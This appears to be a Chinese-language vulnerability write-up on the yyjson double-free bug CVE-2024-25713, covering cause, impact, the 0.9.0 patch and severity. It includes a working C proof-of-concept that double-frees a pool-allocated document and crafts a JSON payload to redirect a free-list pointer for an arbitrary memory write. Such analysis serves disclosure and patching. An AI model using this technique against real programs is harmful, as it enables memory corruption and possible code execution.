yyjson双释放漏洞分析与修复方案

本文详细分析了yyjson库中存在的双释放漏洞CVE-2024-25713,包括漏洞成因、利用方式、影响范围及修复方案。该漏洞可导致任意地址写入和拒绝服务攻击,严重威胁系统安全。

yyjson双释放漏洞分析

漏洞概述

yyjson库的池系列分配器(pool_malloc/pool_free/pool_realloc)存在双释放漏洞,可能导致任意地址写入和拒绝服务(DoS)攻击。结合使用该库程序的其他合法或非法操作,任意地址写入可导致远程代码执行。

技术细节

根本原因

该漏洞的核心原因在于pool_free函数缺乏循环检查,直接原因则源于pool_free函数及类似的free系列函数未执行指针销毁,导致释放后使用(UAF)漏洞。

漏洞验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {
    size_t max_json_size = 64 * 1024;
    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);
    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2); // 双释放
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;

    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

影响分析

攻击方式

通过双释放漏洞可导致块重叠,进而修改块的next指针指向任意地址。如果目标地址有效,则可进行修改;如果地址无效,则可能导致程序崩溃,可用于DoS攻击。此外,构建循环块链可强制服务进入无限循环,同样可用于DoS攻击。

官方说明

yyjson官方文档明确指出:yyjson_mut_doc_free()在调用后,文档及其所有值将不再可用。如果文档为NULL,此函数不执行任何操作。对已释放文档的任何进一步操作都属于未定义行为。

修复方案

补丁信息

  • 受影响版本:< 0.9.0
  • 修复版本:0.9.0
  • 补丁提交:0eca326

防御性修复

虽然这不是yyjson本身的错误,但官方提供了防御性补丁。如果违反文档说明对同一文档错误地调用yyjson_mut_doc_free()两次,此补丁将使程序立即崩溃,提醒用户存在错误用法。

安全评分

  • CVSS评分:8.8(高危)
  • 攻击向量:网络
  • 攻击复杂度:低
  • 权限要求:无
  • 用户交互:无

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计